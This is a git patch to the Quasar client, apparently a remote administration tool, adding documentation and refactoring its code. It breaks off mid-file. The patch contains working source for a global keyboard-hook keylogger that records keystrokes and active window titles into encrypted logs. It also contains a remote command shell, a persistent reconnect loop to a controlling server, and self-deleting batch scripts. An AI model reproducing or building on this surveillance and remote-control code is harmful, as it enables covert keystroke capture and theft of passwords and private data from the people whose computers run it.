From 9ed61be8e1b0a5a06c5042d388139f7ded9985fd Mon Sep 17 00:00:00 2001 From: MaxXor Date: Fri, 29 May 2020 16:45:47 +0200 Subject: [PATCH] Update documentation --- Quasar.Client/Config/Settings.cs | 3 + Quasar.Client/Extensions/KeyExtensions.cs | 59 +++++++ .../Extensions/RegistryKeyExtensions.cs | 67 +++----- Quasar.Client/IO/BatchFile.cs | 99 +++++------ Quasar.Client/IO/Shell.cs | 22 +-- Quasar.Client/Logging/Keylogger.cs | 157 +++++++++++++----- Quasar.Client/Logging/KeyloggerHelper.cs | 110 ------------ Quasar.Client/Logging/KeyloggerService.cs | 22 ++- .../Messages/TcpConnectionsHandler.cs | 10 +- Quasar.Client/Networking/QuasarClient.cs | 70 ++++++-- Quasar.Client/Quasar.Client.csproj | 1 + Quasar.Client/QuasarApplication.cs | 40 +++-- Quasar.Client/Registry/RegistryEditor.cs | 38 +---- Quasar.Client/Registry/RegistrySeeker.cs | 33 +--- Quasar.Client/Setup/ClientUninstaller.cs | 4 - Quasar.Client/Setup/ClientUpdater.cs | 3 - Quasar.Client/User/ActivityDetection.cs | 77 +++++++-- 17 files changed, 433 insertions(+), 382 deletions(-) create mode 100644 Quasar.Client/Extensions/KeyExtensions.cs delete mode 100644 Quasar.Client/Logging/KeyloggerHelper.cs diff --git a/Quasar.Client/Config/Settings.cs b/Quasar.Client/Config/Settings.cs index ccff23a9..5f5b1d2d 100644 --- a/Quasar.Client/Config/Settings.cs +++ b/Quasar.Client/Config/Settings.cs @@ -9,6 +9,9 @@ namespace Quasar.Client.Config { + /// + /// Stores the configuration of the client. + /// public static class Settings { #if DEBUG diff --git a/Quasar.Client/Extensions/KeyExtensions.cs b/Quasar.Client/Extensions/KeyExtensions.cs new file mode 100644 index 00000000..9f6c5e0c --- /dev/null +++ b/Quasar.Client/Extensions/KeyExtensions.cs @@ -0,0 +1,59 @@ +using System.Collections.Generic; +using System.Linq; +using System.Windows.Forms; + +namespace Quasar.Client.Extensions +{ + public static class KeyExtensions + { + public static bool ContainsModifierKeys(this List pressedKeys) + { + return pressedKeys.Any(x => x.IsModifierKey()); + } + + public static bool IsModifierKey(this Keys key) + { + return (key == Keys.LControlKey + || key == Keys.RControlKey + || key == Keys.LMenu + || key == Keys.RMenu + || key == Keys.LWin + || key == Keys.RWin + || key == Keys.Control + || key == Keys.Alt); + } + + public static bool ContainsKeyChar(this List pressedKeys, char c) + { + return pressedKeys.Contains((Keys)char.ToUpper(c)); + } + + public static bool IsExcludedKey(this Keys k) + { + // The keys below are excluded. If it is one of the keys below, + // the KeyPress event will handle these characters. If the keys + // are not any of those specified below, we can continue. + return (k >= Keys.A && k <= Keys.Z + || k >= Keys.NumPad0 && k <= Keys.Divide + || k >= Keys.D0 && k <= Keys.D9 + || k >= Keys.Oem1 && k <= Keys.OemClear + || k >= Keys.LShiftKey && k <= Keys.RShiftKey + || k == Keys.CapsLock + || k == Keys.Space); + } + + public static string GetDisplayName(this Keys key) + { + string name = key.ToString(); + if (name.Contains("ControlKey")) + return "Control"; + else if (name.Contains("Menu")) + return "Alt"; + else if (name.Contains("Win")) + return "Win"; + else if (name.Contains("Shift")) + return "Shift"; + return name; + } + } +} diff --git a/Quasar.Client/Extensions/RegistryKeyExtensions.cs b/Quasar.Client/Extensions/RegistryKeyExtensions.cs index 762e0e92..37cd7b45 100644 --- a/Quasar.Client/Extensions/RegistryKeyExtensions.cs +++ b/Quasar.Client/Extensions/RegistryKeyExtensions.cs @@ -1,11 +1,14 @@ -using System; +using Microsoft.Win32; +using Quasar.Common.Utilities; +using System; using System.Collections.Generic; using System.Linq; -using Microsoft.Win32; -using Quasar.Common.Utilities; namespace Quasar.Client.Extensions { + /// + /// Provides extensions for registry key and value operations. + /// public static class RegistryKeyExtensions { /// @@ -25,7 +28,7 @@ private static bool IsNameOrValueNull(this string keyName, RegistryKey key) /// /// The key of which we obtain the value of. /// The name of the key. - /// The default value if value can not be determinated. + /// The default value if value can not be determined. /// Returns the value of the key using the specified key name. If unable to do so, /// defaultValue will be returned instead. public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "") @@ -107,8 +110,7 @@ public static RegistryKey CreateSubKeySafe(this RegistryKey key, string name) /// /// The key of which the sub-key is to be deleted from. /// The name of the sub-key. - /// Returns boolean value if the action succeded or failed - /// + /// Returns true if the action succeeded, otherwise false. public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name) { try @@ -122,8 +124,6 @@ public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name) } } - #region Rename Key - /* * Derived and Adapted from drdandle's article, * Copy and Rename Registry Keys at Code project. @@ -146,21 +146,20 @@ public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name) /// The key of which the subkey is to be renamed from. /// The old name of the sub-key. /// The new name of the sub-key. - /// Returns boolean value if the action succeded or failed; Returns - /// + /// Returns true if the action succeeded, otherwise false. public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string newName) { try { //Copy from old to new key.CopyKey(oldName, newName); - //Despose of the old key + //Dispose of the old key key.DeleteSubKeyTree(oldName); return true; } catch { - //Try to despose of the newKey (The rename failed) + //Try to dispose of the newKey (The rename failed) key.DeleteSubKeyTreeSafe(newName); return false; } @@ -173,8 +172,6 @@ public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string /// The key of which the subkey is to be deleted from. /// The old name of the sub-key. /// The new name of the sub-key. - /// Returns nothing - /// public static void CopyKey(this RegistryKey key, string oldName, string newName) { //Create a new key @@ -195,8 +192,6 @@ public static void CopyKey(this RegistryKey key, string oldName, string newName) /// /// The source key to copy from. /// The destination key to copy to. - /// Returns nothing - /// private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey) { @@ -222,10 +217,6 @@ private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey) } } - #endregion - - #region Region Value - /// /// Attempts to set a registry value for the key provided using the specified /// name, data and kind. If the registry value does not exist it will be created @@ -234,7 +225,7 @@ private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey) /// The name of the value. /// The data of the value /// The value kind of the value - /// Returns a boolean value if the action succeeded or failed. + /// Returns true if the action succeeded, otherwise false. public static bool SetValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind) { try @@ -274,7 +265,7 @@ public static bool SetValueSafe(this RegistryKey key, string name, object data, /// /// The key of which the value is to be delete from. /// The name of the value. - /// Returns a boolean value if the action succeded or failed. + /// Returns true if the action succeeded, otherwise false. public static bool DeleteValueSafe(this RegistryKey key, string name) { try @@ -288,8 +279,6 @@ public static bool DeleteValueSafe(this RegistryKey key, string name) } } - #region Rename Value - /// /// Attempts to rename a registry value to the key provided using the specified old /// name and new name. @@ -297,21 +286,20 @@ public static bool DeleteValueSafe(this RegistryKey key, string name) /// The key of which the registry value is to be renamed from. /// The old name of the registry value. /// The new name of the registry value. - /// Returns boolean value if the action succeded or failed; Returns - /// + /// Returns true if the action succeeded, otherwise false. public static bool RenameValueSafe(this RegistryKey key, string oldName, string newName) { try { //Copy from old to new key.CopyValue(oldName, newName); - //Despose of the old value + //Dispose of the old value key.DeleteValue(oldName); return true; } catch { - //Try to despose of the newKey (The rename failed) + //Try to dispose of the newKey (The rename failed) key.DeleteValueSafe(newName); return false; } @@ -324,8 +312,6 @@ public static bool RenameValueSafe(this RegistryKey key, string oldName, string /// The key of which the registry value is to be copied. /// The old name of the registry value. /// The new name of the registry value. - /// Returns nothing - /// public static void CopyValue(this RegistryKey key, string oldName, string newName) { RegistryValueKind valueKind = key.GetValueKind(oldName); @@ -334,19 +320,12 @@ public static void CopyValue(this RegistryKey key, string oldName, string newNam key.SetValue(newName, valueData, valueKind); } - #endregion - - #endregion - - #region Find - /// /// Checks if the specified subkey exists in the key /// /// The key of which to search. /// The name of the sub-key to find. - /// Returns boolean value if the action succeded or failed - /// + /// Returns true if the action succeeded, otherwise false. public static bool ContainsSubKey(this RegistryKey key, string name) { foreach (string subkey in key.GetSubKeyNames()) @@ -364,8 +343,7 @@ public static bool ContainsSubKey(this RegistryKey key, string name) /// /// The key of which to search. /// The name of the registry value to find. - /// Returns boolean value if the action succeded or failed - /// + /// Returns true if the action succeeded, otherwise false. public static bool ContainsValue(this RegistryKey key, string name) { foreach (string value in key.GetValueNames()) @@ -378,8 +356,6 @@ public static bool ContainsValue(this RegistryKey key, string name) return false; } - #endregion - /// /// Gets all of the value names associated with the registry key and returns /// formatted strings of the filtered values. @@ -396,6 +372,11 @@ public static bool ContainsValue(this RegistryKey key, string name) } } + /// + /// Gets the default value for a given data type of a registry value. + /// + /// The data type of the registry value. + /// The default value for the given . public static object GetDefault(this RegistryValueKind valueKind) { switch (valueKind) @@ -416,4 +397,4 @@ public static object GetDefault(this RegistryValueKind valueKind) } } } -} \ No newline at end of file +} diff --git a/Quasar.Client/IO/BatchFile.cs b/Quasar.Client/IO/BatchFile.cs index 9baea2f0..78a22fa9 100644 --- a/Quasar.Client/IO/BatchFile.cs +++ b/Quasar.Client/IO/BatchFile.cs @@ -1,40 +1,35 @@ using Quasar.Common.Helpers; -using System; using System.IO; using System.Text; namespace Quasar.Client.IO { - public class BatchFile + /// + /// Provides methods to create batch files for application update, uninstall and restart operations. + /// + public static class BatchFile { /// /// Creates the uninstall batch file. /// /// The current file path of the client. /// The log directory. - /// The file path to the batch file which can then get executed. Returns string.Empty on failure. + /// The file path to the batch file which can then get executed. Returns string.Empty on failure. public static string CreateUninstallBatch(string currentFilePath, string logDirectory) { - try - { - string batchFile = FileHelper.GetTempFilePath(".bat"); + string batchFile = FileHelper.GetTempFilePath(".bat"); - string uninstallBatch = - "@echo off" + "\r\n" + - "chcp 65001" + "\r\n" + - "echo DONT CLOSE THIS WINDOW!" + "\r\n" + - "ping -n 10 localhost > nul" + "\r\n" + - "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + - "rmdir /q /s " + "\"" + logDirectory + "\"" + "\r\n" + - "del /a /q /f " + "\"" + batchFile + "\""; + string uninstallBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "echo DONT CLOSE THIS WINDOW!" + "\r\n" + + "ping -n 10 localhost > nul" + "\r\n" + + "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + + "rmdir /q /s " + "\"" + logDirectory + "\"" + "\r\n" + + "del /a /q /f " + "\"" + batchFile + "\""; - File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false)); - return batchFile; - } - catch (Exception) - { - return string.Empty; - } + File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false)); + return batchFile; } /// @@ -42,59 +37,45 @@ public static string CreateUninstallBatch(string currentFilePath, string logDire /// /// The current file path of the client. /// The new file path of the client. - /// The file path to the batch file which can then get executed. Returns string.Empty on failure. + /// The file path to the batch file which can then get executed. Returns an empty string on failure. public static string CreateUpdateBatch(string currentFilePath, string newFilePath) { - try - { - string batchFile = FileHelper.GetTempFilePath(".bat"); + string batchFile = FileHelper.GetTempFilePath(".bat"); - string updateBatch = - "@echo off" + "\r\n" + - "chcp 65001" + "\r\n" + - "echo DONT CLOSE THIS WINDOW!" + "\r\n" + - "ping -n 10 localhost > nul" + "\r\n" + - "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + - "move /y " + "\"" + newFilePath + "\"" + " " + "\"" + currentFilePath + "\"" + "\r\n" + - "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" + - "del /a /q /f " + "\"" + batchFile + "\""; + string updateBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "echo DONT CLOSE THIS WINDOW!" + "\r\n" + + "ping -n 10 localhost > nul" + "\r\n" + + "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + + "move /y " + "\"" + newFilePath + "\"" + " " + "\"" + currentFilePath + "\"" + "\r\n" + + "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" + + "del /a /q /f " + "\"" + batchFile + "\""; - File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false)); - return batchFile; - } - catch (Exception) - { - return string.Empty; - } + File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false)); + return batchFile; } /// /// Creates the restart batch file. /// /// The current file path of the client. - /// The file path to the batch file which can then get executed. Returns string.Empty on failure. + /// The file path to the batch file which can then get executed. Returns string.Empty on failure. public static string CreateRestartBatch(string currentFilePath) { - try - { - string batchFile = FileHelper.GetTempFilePath(".bat"); + string batchFile = FileHelper.GetTempFilePath(".bat"); - string restartBatch = - "@echo off" + "\r\n" + - "chcp 65001" + "\r\n" + - "echo DONT CLOSE THIS WINDOW!" + "\r\n" + - "ping -n 10 localhost > nul" + "\r\n" + - "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" + - "del /a /q /f " + "\"" + batchFile + "\""; + string restartBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "echo DONT CLOSE THIS WINDOW!" + "\r\n" + + "ping -n 10 localhost > nul" + "\r\n" + + "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" + + "del /a /q /f " + "\"" + batchFile + "\""; - File.WriteAllText(batchFile, restartBatch, new UTF8Encoding(false)); + File.WriteAllText(batchFile, restartBatch, new UTF8Encoding(false)); - return batchFile; - } - catch (Exception) - { - return string.Empty; - } + return batchFile; } } } diff --git a/Quasar.Client/IO/Shell.cs b/Quasar.Client/IO/Shell.cs index 7c98ada3..9b67a9d4 100644 --- a/Quasar.Client/IO/Shell.cs +++ b/Quasar.Client/IO/Shell.cs @@ -1,6 +1,5 @@ using Quasar.Client.Networking; using Quasar.Common.Messages; -using Quasar.Common.Networking; using System; using System.Diagnostics; using System.Globalization; @@ -48,27 +47,20 @@ public class Shell : IDisposable /// private StreamWriter _inputWriter; + /// + /// The client to sends responses to. + /// private readonly QuasarClient _client; + /// + /// Initializes a new instance of the class using a given client. + /// + /// The client to send shell responses to. public Shell(QuasarClient client) { _client = client; } - - - private void Execute(ISender client, DoShellExecute message) - { - string input = message.Command; - - if ((_prc == null || _prc.HasExited) && input == "exit") return; - - if (input == "exit") - Dispose(); - else - ExecuteCommand(input); - } - /// /// Creates a new session of the shell. /// diff --git a/Quasar.Client/Logging/Keylogger.cs b/Quasar.Client/Logging/Keylogger.cs index 5239f521..99b0069f 100644 --- a/Quasar.Client/Logging/Keylogger.cs +++ b/Quasar.Client/Logging/Keylogger.cs @@ -1,5 +1,7 @@ using Gma.System.MouseKeyHook; using Quasar.Client.Config; +using Quasar.Client.Extensions; +using Quasar.Client.Helper; using Quasar.Common.Cryptography; using Quasar.Common.Helpers; using System; @@ -7,6 +9,7 @@ using System.Diagnostics; using System.IO; using System.Text; +using System.Web; using System.Windows.Forms; using Timer = System.Timers.Timer; @@ -19,39 +22,68 @@ namespace Quasar.Client.Logging public class Keylogger : IDisposable { /// - /// True if the class has already been disposed, else False. + /// True if the class has already been disposed, else false. /// public bool IsDisposed { get; private set; } - public double FlushInterval { get; private set; } - + /// + /// The timer used to periodically flush the from memory to disk. + /// private readonly Timer _timerFlush; + + /// + /// The + /// private readonly StringBuilder _logFileBuffer = new StringBuilder(); + + /// + /// Temporary list of pressed keys while they are being processed. + /// private readonly List _pressedKeys = new List(); + + /// + /// Temporary list of pressed keys chars while they are being processed. + /// private readonly List _pressedKeyChars = new List(); + + /// + /// Saves the last window title of an application. + /// private string _lastWindowTitle = string.Empty; + + /// + /// Determines if special keys should be ignored for processing, e.g. when a modifier key is pressed. + /// private bool _ignoreSpecialKeys; - private IKeyboardMouseEvents _mEvents; + + /// + /// Used to hook global mouse and keyboard events. + /// + private readonly IKeyboardMouseEvents _mEvents; + + /// + /// Provides encryption and decryption methods to securely store log files. + /// private readonly Aes256 _aesInstance = new Aes256(Settings.ENCRYPTIONKEY); /// - /// Creates the keylogger instance that provides keylogging functionality. + /// Initializes a new instance of that provides keylogging functionality. /// - /// The interval to flush the buffer to the logfile. + /// The interval to flush the buffer from memory to disk. public Keylogger(double flushInterval) { - FlushInterval = flushInterval; - _timerFlush = new Timer { Interval = FlushInterval }; - _timerFlush.Elapsed += timerFlush_Elapsed; + _mEvents = Hook.GlobalEvents(); + _timerFlush = new Timer { Interval = flushInterval }; + _timerFlush.Elapsed += TimerElapsed; } - public void StartLogging() + /// + /// Begins logging of keys. + /// + public void Start() { - Subscribe(Hook.GlobalEvents()); - + Subscribe(); _timerFlush.Start(); - - WriteFile(); } /// @@ -65,53 +97,59 @@ public void Dispose() protected virtual void Dispose(bool disposing) { - if (!IsDisposed) + if (IsDisposed) + return; + + if (disposing) { - if (disposing) - { - if (_timerFlush != null) - { - _timerFlush.Stop(); - _timerFlush.Dispose(); - } - } - Unsubscribe(); - - IsDisposed = true; + _timerFlush.Stop(); + _timerFlush.Dispose(); + _mEvents.Dispose(); } + + IsDisposed = true; } - private void Subscribe(IKeyboardMouseEvents events) + /// + /// Subscribes to all key events. + /// + private void Subscribe() { - _mEvents = events; _mEvents.KeyDown += OnKeyDown; _mEvents.KeyUp += OnKeyUp; _mEvents.KeyPress += OnKeyPress; } + /// + /// Unsubscribes from all key events. + /// private void Unsubscribe() { - if (_mEvents == null) return; _mEvents.KeyDown -= OnKeyDown; _mEvents.KeyUp -= OnKeyUp; _mEvents.KeyPress -= OnKeyPress; - _mEvents.Dispose(); } - private void OnKeyDown(object sender, KeyEventArgs e) //Called first + /// + /// Initial handling of the key down events and updates the window title. + /// + /// The sender of the event. + /// The key event args, e.g. the keycode. + /// This event handler is called first. + private void OnKeyDown(object sender, KeyEventArgs e) { - string activeWindowTitle = KeyloggerHelper.GetActiveWindowTitle(); //Get active thread window title + string activeWindowTitle = NativeMethodsHelper.GetForegroundWindowTitle(); if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle) { _lastWindowTitle = activeWindowTitle; _logFileBuffer.Append(@"



[" - + KeyloggerHelper.Filter(activeWindowTitle) + " - " + + HttpUtility.HtmlEncode(activeWindowTitle) + " - " + DateTime.Now.ToString("HH:mm") + "]


"); } - if (_pressedKeys.IsModifierKeysSet()) + if (_pressedKeys.ContainsModifierKeys()) { if (!_pressedKeys.Contains(e.KeyCode)) { @@ -133,19 +171,24 @@ private void Unsubscribe() } } - //This method should be used to process all of our unicode characters - private void OnKeyPress(object sender, KeyPressEventArgs e) //Called second + /// + /// Processes pressed keys and appends them to the . Processing of Unicode characters starts here. + /// + /// The sender of the event. + /// The key press event args, especially the pressed KeyChar. + /// This event handler is called second. + private void OnKeyPress(object sender, KeyPressEventArgs e) { - if (_pressedKeys.IsModifierKeysSet() && _pressedKeys.ContainsKeyChar(e.KeyChar)) + if (_pressedKeys.ContainsModifierKeys() && _pressedKeys.ContainsKeyChar(e.KeyChar)) return; - if ((!_pressedKeyChars.Contains(e.KeyChar) || !KeyloggerHelper.DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar)) + if ((!_pressedKeyChars.Contains(e.KeyChar) || !DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar)) { - var filtered = KeyloggerHelper.Filter(e.KeyChar); + var filtered = HttpUtility.HtmlEncode(e.KeyChar.ToString()); if (!string.IsNullOrEmpty(filtered)) { Debug.WriteLine("OnKeyPress Output: " + filtered); - if (_pressedKeys.IsModifierKeysSet()) + if (_pressedKeys.ContainsModifierKeys()) _ignoreSpecialKeys = true; _pressedKeyChars.Add(e.KeyChar); @@ -154,12 +197,34 @@ private void Unsubscribe() } } - private void OnKeyUp(object sender, KeyEventArgs e) //Called third + /// + /// Finishes processing of the keys. + /// + /// The sender of the event. + /// The key event args. + /// This event handler is called third. + private void OnKeyUp(object sender, KeyEventArgs e) { _logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray())); _pressedKeyChars.Clear(); } + /// + /// Finds a held down key char in a given key char list. + /// + /// The list of key chars. + /// The key char to search for. + /// True if the list contains the key char, else false. + private bool DetectKeyHolding(List list, char search) + { + return list.FindAll(s => s.Equals(search)).Count > 1; + } + + /// + /// Adds special highlighting in HTML to the special keys. + /// + /// The input keys. + /// The highlighted special keys. private string HighlightSpecialKeys(Keys[] keys) { if (keys.Length < 1) return string.Empty; @@ -169,7 +234,7 @@ private string HighlightSpecialKeys(Keys[] keys) { if (!_ignoreSpecialKeys) { - names[i] = KeyloggerHelper.GetDisplayName(keys[i]); + names[i] = keys[i].GetDisplayName(); Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]); } else @@ -181,7 +246,7 @@ private string HighlightSpecialKeys(Keys[] keys) _ignoreSpecialKeys = false; - if (_pressedKeys.IsModifierKeysSet()) + if (_pressedKeys.ContainsModifierKeys()) { StringBuilder specialKeys = new StringBuilder(); @@ -228,14 +293,18 @@ private string HighlightSpecialKeys(Keys[] keys) return normalKeys.ToString(); } - private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e) + private void TimerElapsed(object sender, System.Timers.ElapsedEventArgs e) { if (_logFileBuffer.Length > 0) WriteFile(); } + /// + /// Writes the logged keys from memory to disk. + /// private void WriteFile() { + // TODO: large log files take a very long time to read, decrypt and append new logs to bool writeHeader = false; string filename = Path.Combine(Settings.LOGSPATH, DateTime.Now.ToString("MM-dd-yyyy")); diff --git a/Quasar.Client/Logging/KeyloggerHelper.cs b/Quasar.Client/Logging/KeyloggerHelper.cs deleted file mode 100644 index 70b741b6..00000000 --- a/Quasar.Client/Logging/KeyloggerHelper.cs +++ /dev/null @@ -1,110 +0,0 @@ -using System.Collections.Generic; -using System.Windows.Forms; -using Quasar.Client.Helper; - -namespace Quasar.Client.Logging -{ - public static class KeyloggerHelper - { - #region "Extension Methods" - public static bool IsModifierKeysSet(this List pressedKeys) - { - return pressedKeys != null && - (pressedKeys.Contains(Keys.LControlKey) - || pressedKeys.Contains(Keys.RControlKey) - || pressedKeys.Contains(Keys.LMenu) - || pressedKeys.Contains(Keys.RMenu) - || pressedKeys.Contains(Keys.LWin) - || pressedKeys.Contains(Keys.RWin) - || pressedKeys.Contains(Keys.Control) - || pressedKeys.Contains(Keys.Alt)); - } - - public static bool IsModifierKey(this Keys key) - { - return (key == Keys.LControlKey - || key == Keys.RControlKey - || key == Keys.LMenu - || key == Keys.RMenu - || key == Keys.LWin - || key == Keys.RWin - || key == Keys.Control - || key == Keys.Alt); - } - - public static bool ContainsKeyChar(this List pressedKeys, char c) - { - return pressedKeys.Contains((Keys)char.ToUpper(c)); - } - - public static bool IsExcludedKey(this Keys k) - { - // The keys below are excluded. If it is one of the keys below, - // the KeyPress event will handle these characters. If the keys - // are not any of those specified below, we can continue. - return (k >= Keys.A && k <= Keys.Z - || k >= Keys.NumPad0 && k <= Keys.Divide - || k >= Keys.D0 && k <= Keys.D9 - || k >= Keys.Oem1 && k <= Keys.OemClear - || k >= Keys.LShiftKey && k <= Keys.RShiftKey - || k == Keys.CapsLock - || k == Keys.Space); - } - #endregion - - public static bool DetectKeyHolding(List list, char search) - { - return list.FindAll(s => s.Equals(search)).Count > 1; - } - - public static string Filter(char key) - { - if ((int)key < 32) return string.Empty; - - switch (key) - { - case '<': - return "<"; - case '>': - return ">"; - case '#': - return "#"; - case '&': - return "&"; - case '"': - return """; - case '\'': - return "'"; - case ' ': - return " "; - } - return key.ToString(); - } - - public static string Filter(string input) - { - return input.Replace("<", "<").Replace(">", ">").Replace("\"", """).Replace("'", "'"); - } - - public static string GetDisplayName(Keys key, bool altGr = false) - { - string name = key.ToString(); - if (name.Contains("ControlKey")) - return "Control"; - else if (name.Contains("Menu")) - return "Alt"; - else if (name.Contains("Win")) - return "Win"; - else if (name.Contains("Shift")) - return "Shift"; - return name; - } - - public static string GetActiveWindowTitle() - { - string title = NativeMethodsHelper.GetForegroundWindowTitle(); - - return (!string.IsNullOrEmpty(title)) ? title : null; - } - } -} diff --git a/Quasar.Client/Logging/KeyloggerService.cs b/Quasar.Client/Logging/KeyloggerService.cs index 5dbb54b7..14d47049 100644 --- a/Quasar.Client/Logging/KeyloggerService.cs +++ b/Quasar.Client/Logging/KeyloggerService.cs @@ -4,23 +4,43 @@ namespace Quasar.Client.Logging { + /// + /// Provides a service to run the keylogger. + /// public class KeyloggerService : IDisposable { + /// + /// The thread containing the executed keylogger and message loop. + /// private readonly Thread _msgLoopThread; + + /// + /// The message loop which is needed to receive key events. + /// private ApplicationContext _msgLoop; + + /// + /// Provides keylogging functionality. + /// private Keylogger _keylogger; + /// + /// Initializes a new instance of . + /// public KeyloggerService() { _msgLoopThread = new Thread(() => { _msgLoop = new ApplicationContext(); _keylogger = new Keylogger(15000); - _keylogger.StartLogging(); + _keylogger.Start(); Application.Run(_msgLoop); }); } + /// + /// Starts the keylogger and message loop. + /// public void Start() { _msgLoopThread.Start(); diff --git a/Quasar.Client/Messages/TcpConnectionsHandler.cs b/Quasar.Client/Messages/TcpConnectionsHandler.cs index 20e5cfaa..499678c7 100644 --- a/Quasar.Client/Messages/TcpConnectionsHandler.cs +++ b/Quasar.Client/Messages/TcpConnectionsHandler.cs @@ -74,11 +74,12 @@ private void Execute(ISender client, DoCloseConnection message) message.RemotePort == table[i].RemotePort) { // it will close the connection only if client run as admin - //table[i].state = (byte)ConnectionStates.Delete_TCB; - table[i].state = 12; // 12 for Delete_TCB state + table[i].state = (byte) ConnectionState.Delete_TCB; var ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i])); Marshal.StructureToPtr(table[i], ptr, false); NativeMethods.SetTcpEntry(ptr); + Execute(client, new GetConnections()); + return; } } } @@ -88,11 +89,12 @@ private NativeMethods.MibTcprowOwnerPid[] GetTable() NativeMethods.MibTcprowOwnerPid[] tTable; var afInet = 2; var buffSize = 0; - var ret = NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll); + // retrieve correct pTcpTable size + NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll); var buffTable = Marshal.AllocHGlobal(buffSize); try { - ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll); + var ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll); if (ret != 0) return null; var tab = (NativeMethods.MibTcptableOwnerPid)Marshal.PtrToStructure(buffTable, typeof(NativeMethods.MibTcptableOwnerPid)); diff --git a/Quasar.Client/Networking/QuasarClient.cs b/Quasar.Client/Networking/QuasarClient.cs index c5bc975d..03940ed2 100644 --- a/Quasar.Client/Networking/QuasarClient.cs +++ b/Quasar.Client/Networking/QuasarClient.cs @@ -14,16 +14,38 @@ namespace Quasar.Client.Networking { - public class QuasarClient : Client + public class QuasarClient : Client, IDisposable { /// - /// When Exiting is true, stop all running threads and exit. + /// Used to keep track if the client has been identified by the server. + /// + private bool _identified; + + /// + /// The hosts manager which contains the available hosts to connect to. /// - public bool Exiting { get; private set; } - public bool Identified { get; private set; } private readonly HostsManager _hosts; + + /// + /// Random number generator to slightly randomize the reconnection delay. + /// private readonly SafeRandom _random; + /// + /// Create a and signals cancellation. + /// + private readonly CancellationTokenSource _tokenSource; + + /// + /// The token to check for cancellation. + /// + private readonly CancellationToken _token; + + /// + /// Initializes a new instance of the class. + /// + /// The hosts manager which contains the available hosts to connect to. + /// The server certificate. public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate) : base(serverCertificate) { @@ -32,12 +54,17 @@ public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificat base.ClientState += OnClientState; base.ClientRead += OnClientRead; base.ClientFail += OnClientFail; + this._tokenSource = new CancellationTokenSource(); + this._token = _tokenSource.Token; } + /// + /// Connection loop used to reconnect and keep the connection open. + /// public void ConnectLoop() { // TODO: do not re-use object - while (!Exiting) // Main Connect Loop + while (!_token.IsCancellationRequested) { if (!Connected) { @@ -48,10 +75,10 @@ public void ConnectLoop() while (Connected) // hold client open { - Thread.Sleep(1000); + _token.WaitHandle.WaitOne(1000); } - if (Exiting) + if (_token.IsCancellationRequested) { Disconnect(); return; @@ -63,12 +90,12 @@ public void ConnectLoop() private void OnClientRead(Client client, IMessage message, int messageLength) { - if (!Identified) + if (!_identified) { if (message.GetType() == typeof(ClientIdentificationResult)) { var reply = (ClientIdentificationResult) message; - Identified = reply.Result; + _identified = reply.Result; } return; } @@ -84,7 +111,7 @@ private void OnClientFail(Client client, Exception ex) private void OnClientState(Client client, bool connected) { - Identified = false; // always reset identification + _identified = false; // always reset identification if (connected) { @@ -111,10 +138,31 @@ private void OnClientState(Client client, bool connected) } } + /// + /// Stops the connection loop and disconnects the connection. + /// public void Exit() { - Exiting = true; + _tokenSource.Cancel(); Disconnect(); } + + /// + /// Disposes all managed and unmanaged resources associated with this activity detection service. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _tokenSource.Cancel(); + _tokenSource.Dispose(); + } + } } } diff --git a/Quasar.Client/Quasar.Client.csproj b/Quasar.Client/Quasar.Client.csproj index c669137e..f6a7727f 100644 --- a/Quasar.Client/Quasar.Client.csproj +++ b/Quasar.Client/Quasar.Client.csproj @@ -30,6 +30,7 @@ + diff --git a/Quasar.Client/QuasarApplication.cs b/Quasar.Client/QuasarApplication.cs index 309a16e0..0a3b8948 100644 --- a/Quasar.Client/QuasarApplication.cs +++ b/Quasar.Client/QuasarApplication.cs @@ -29,7 +29,7 @@ public class 